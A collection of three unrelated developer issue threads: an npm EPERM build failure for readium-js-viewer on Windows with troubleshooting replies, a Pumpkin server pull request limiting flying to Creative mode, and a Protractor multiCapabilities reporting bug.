fi-js\node_modules\yui'
npm ERR!     at whenOldMovedAway (C:\Users\nwf\AppData\Roaming\npm\node_modules
npm\lib\install\action\finalize.js:43:5)
npm ERR!     at C:\Users\nwf\AppData\Roaming\npm\node_modules\npm\lib\utils\rena
me.js:13:14
npm ERR!     at CB (C:\Users\nwf\AppData\Roaming\npm\node_modules\npm\node_modul
es\graceful-fs\polyfills.js:93:17)
npm ERR!     at FSReqWrap.oncomplete (fs.js:123:15)
npm ERR!
npm ERR! Error: EPERM: operation not permitted, rename 'C:\Users\nwf\readium-js-
viewer\readium-js\readium-shared-js\readium-cfi-js\node_modules.staging\yui-705
3ba69' -> 'C:\Users\nwf\readium-js-viewer\readium-js\readium-shared-js\readium-c
fi-js\node_modules\yui'
npm ERR!     at Error (native)
npm ERR!  { Error: EPERM: operation not permitted, rename 'C:\Users\nwf\readium-
js-viewer\readium-js\readium-shared-js\readium-cfi-js\node_modules.staging\yui-
7053ba69' -> 'C:\Users\nwf\readium-js-viewer\readium-js\readium-shared-js\readiu
m-cfi-js\node_modules\yui'
npm ERR!     at whenOldMovedAway (C:\Users\nwf\AppData\Roaming\npm\node_modules
npm\lib\install\action\finalize.js:43:5)
npm ERR!     at C:\Users\nwf\AppData\Roaming\npm\node_modules\npm\lib\utils\rena
me.js:13:14
npm ERR!     at CB (C:\Users\nwf\AppData\Roaming\npm\node_modules\npm\node_modul
es\graceful-fs\polyfills.js:93:17)
npm ERR!     at FSReqWrap.oncomplete (fs.js:123:15)
npm ERR!
npm ERR! Error: EPERM: operation not permitted, rename 'C:\Users\nwf\readium-js-
viewer\readium-js\readium-shared-js\readium-cfi-js\node_modules.staging\yui-705
3ba69' -> 'C:\Users\nwf\readium-js-viewer\readium-js\readium-shared-js\readium-c
fi-js\node_modules\yui'
npm ERR!     at Error (native) parent: 'readium-cfi-js' }
npm ERR!
npm ERR! Please try running this command again as root/Administrator.
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\nwf\readium-js-viewer\readium-js\readium-shared-js\readium
-cfi-js\npm-debug.log
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Users\nwf\AppData\Ro
aming\npm\node_modules\npm\bin\npm-cli.js" "run" "prepare:local"
npm ERR! node v6.10.3
npm ERR! npm  v3.10.10
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>prepare:local: npm outdated ; npm install && npm update && npm run prepare:local:common
npm ERR! Exit status<PHONE_NUMBER>
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>prepare:local script 'npm out
dated ; npm install && npm update && npm run prepare:local:common'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the readium-cfi-js packag
e,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     npm outdated ; npm install && npm update && npm run prepare:local:c
ommon
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs readium-cfi-js
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls readium-cfi-js
npm ERR! There is likely additional logging output above.
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\nwf\readium-js-viewer\readium-js\readium-shared-js\readium
-cfi-js\npm-debug.log
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Users\nwf\AppData\Ro
aming\npm\node_modules\npm\bin\npm-cli.js" "run" "prepare:all"
npm ERR! node v6.10.3
npm ERR! npm  v3.10.10
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>prepare:all: npm run prepare:local
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>prepare:all script 'npm run p
repare:local'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the readium-cfi-js packag
e,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     npm run prepare:local
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs readium-cfi-js
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls readium-cfi-js
npm ERR! There is likely additional logging output above.
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\nwf\readium-js-viewer\readium-js\readium-shared-js\readium
-cfi-js\npm-debug.log
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Users\nwf\AppData\Ro
aming\npm\node_modules\npm\bin\npm-cli.js" "run" "prepare:submodule"
npm ERR! node v6.10.3
npm ERR! npm  v3.10.10
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>prepare:submodule: cd readium-cfi-js &&  npm run prepare:all && cd .. && ls
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>prepare:submodule script '
cd readium-cfi-js && npm run prepare:all && cd .. && ls'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the readium-shared-js pac
kage,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     cd readium-cfi-js && npm run prepare:all && cd .. && ls
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs readium-shared-js
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls readium-shared-js
npm ERR! There is likely additional logging output above.
npm WARN Local package.json exists, but node_modules missing, did you mean to in
stall?
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\nwf\readium-js-viewer\readium-js\readium-shared-js\npm-deb
ug.log
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Users\nwf\AppData\Ro
aming\npm\node_modules\npm\bin\npm-cli.js" "run" "prepare:all"
npm ERR! node v6.10.3
npm ERR! npm  v3.10.10
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>prepare:all: npm run prepare:submodule && npm run prepare:local
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>prepare:all script 'npm ru
n prepare:submodule && npm run prepare:local'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the readium-shared-js pac
kage,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     npm run prepare:submodule && npm run prepare:local
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs readium-shared-js
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls readium-shared-js
npm ERR! There is likely additional logging output above.
npm WARN Local package.json exists, but node_modules missing, did you mean to in
stall?
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\nwf\readium-js-viewer\readium-js\readium-shared-js\npm-deb
ug.log
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Users\nwf\AppData\Ro
aming\npm\node_modules\npm\bin\npm-cli.js" "run" "prepare:submodule"
npm ERR! node v6.10.3
npm ERR! npm  v3.10.10
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>prepare:submodule: cd readium-shared-js && npm  run prepare:all && cd .. && ls
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>prepare:submodule script 'cd read
ium-shared-js && npm run prepare:all && cd .. && ls'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the readium-js package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     cd readium-shared-js && npm run prepare:all && cd .. && ls
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs readium-js
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls readium-js
npm ERR! There is likely additional logging output above.
npm WARN Local package.json exists, but node_modules missing, did you mean to in
stall?
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\nwf\readium-js-viewer\readium-js\npm-debug.log
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Users\nwf\AppData\Ro
aming\npm\node_modules\npm\bin\npm-cli.js" "run" "prepare:all"
npm ERR! node v6.10.3
npm ERR! npm  v3.10.10
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>prepare:all: npm run prepare:submodule && npm run prepare:local
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>prepare:all script 'npm run prepa
re:submodule && npm run prepare:local'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the readium-js package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     npm run prepare:submodule && npm run prepare:local
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs readium-js
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls readium-js
npm ERR! There is likely additional logging output above.
npm WARN Local package.json exists, but node_modules missing, did you mean to in
stall?
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\nwf\readium-js-viewer\readium-js\npm-debug.log
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Users\nwf\AppData\Ro
aming\npm\node_modules\npm\bin\npm-cli.js" "run" "prepare:submodule"
npm ERR! node v6.10.3
npm ERR! npm  v3.10.10
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>prepare:submodule: cd readium-js && npm  run prepare:all && cd .. && ls
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>prepare:submodule script '
cd readium-js && npm run prepare:all && cd .. && ls'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the readium-js-viewer pac
kage,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     cd readium-js && npm run prepare:all && cd .. && ls
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs readium-js-viewer
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls readium-js-viewer
npm ERR! There is likely additional logging output above.
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\nwf\readium-js-viewer\npm-debug.log
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Users\nwf\AppData\Ro
aming\npm\node_modules\npm\bin\npm-cli.js" "run" "prepare:all"
npm ERR! node v6.10.3
npm ERR! npm  v3.10.10
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>prepare:all: npm run prepare:submodule && npm run prepare:local
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>prepare:all script 'npm ru
n prepare:submodule && npm run prepare:local'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the readium-js-viewer pac
kage,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     npm run prepare:submodule && npm run prepare:local
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs readium-js-viewer
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls readium-js-viewer
npm ERR! There is likely additional logging output above.
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\nwf\readium-js-viewer\npm-debug.log
C:\Users\nwf\readium-js-viewer>`
Running npm run prepare gives an error too
I have windows 7(x64) and node.js v 6.10.3

FYI: everything works fine on my OSX machine, as well as on Travis's Continuous Integration servers (Linux).
There seems to be a filesystem problem on your machine:
Error: EPERM: operation not permitted, rename 'C:\PATH_TO\readium-cfi-js\node_modules.staging\yui- 7053ba69' -> 'C:\PATH_TO\readiu m-cfi-js\node_modules\yui' Have you tried force-deleting the node_modulesfolders in each repository, and invokenpm prepare:all` again? Perhaps it is worth upgrading to NodeJS v7 / NPM v4 to see if it helps?

You could also try Yarn: yarn prepare:yarn:all instead of NPM.

Try this: https://docs.npmjs.com/getting-started/fixing-npm-permissions

Where i can find  NodeJS v7 / NPM v4?
I only have Node v6 and npm v3 or Node v7 and npm v8

Good point, NodeJS v7 is not available anymore:
https://nodejs.org
https://github.com/nodejs/node/blob/master/doc/changelogs/CHANGELOG_V8.md#8.0.0

I was using NodeJS v7 and NPM v4 (no problems building ReadiumJS). TravisCI uses the same versions.
I have just upgraded to NodeJS v8 and NPM v5. All works fine.

We tried on 3 different machines (windows7,windows 8.1,windows 10)using NodeJS v8 and NPM v5 .
All same result. npm run prepare:all fails as i mentioned before.
Is there anything i have to check or to set in order to make it work?

Could you please update your ReadiumJS repositories (I fixed some issues in the NPM scripts, I tested on Windows 10 with NPM v5 / NodeJS v8), make sure to completely remove the node_modules folders in each submodule, also delete any potential package-lock.json, ensure you have no local changes in your package.json files, and invoke npm run prepare:all from the top-level readium-js-viewer directory. Thanks!


fix(player/abilities): only set allow_flying on Creative mode

Testing

In Survival, press space bar 2 times and you should be falling / jumping.
In Creative, press space bar 2 times and you should be flying.

Checklist
Things need to be done before this Pull Request can be merged.

[x] Code is well-formatted and adheres to project style guidelines: cargo fmt (a963bd727)
[x] Code does not produce any clippy warnings cargo clippy

Hey, @DataM0del is is currently only done for debugging purposes. If you want to could also just remove the abilities thing entirely.

Okay.

The linting is failing, will run cargo fmt and cargo clippy to see why.

LGTM.
Should now also Fix: https://github.com/Snowiiii/Pumpkin/issues/278
Thanks @DataM0del


Does not work with multiCapabilities:

It loses some of the tests names, in this case the 2 under Supervisor logs In. Reporting only 7 but really 9 tests ran
exports.config = {

seleniumAddress: 'http://localhost:4444/wd/hub',

// Capabilities to be passed to the webdriver instance.
multiCapabilities: [{
    browserName: 'firefox',
    specs: ['claimsoverview/login-manager.spec.js']
}, {
    browserName: 'firefox',
    specs: ['claimsoverview/login-supervisor.spec.js']
}, {
    browserName: 'firefox',
    specs: ['claimsoverview/login-claims-analyst.spec.js']
}
],

onPrepare: 'onPrepare/startup.js',

// Options to be passed to Jasmine-node.
jasmineNodeOpts: {
    showColors: true,
    defaultTimeoutInterval: 50000,
    isVerbose: true,
    includeStackTrace: true
}

};

Any news on this?

Any update on this?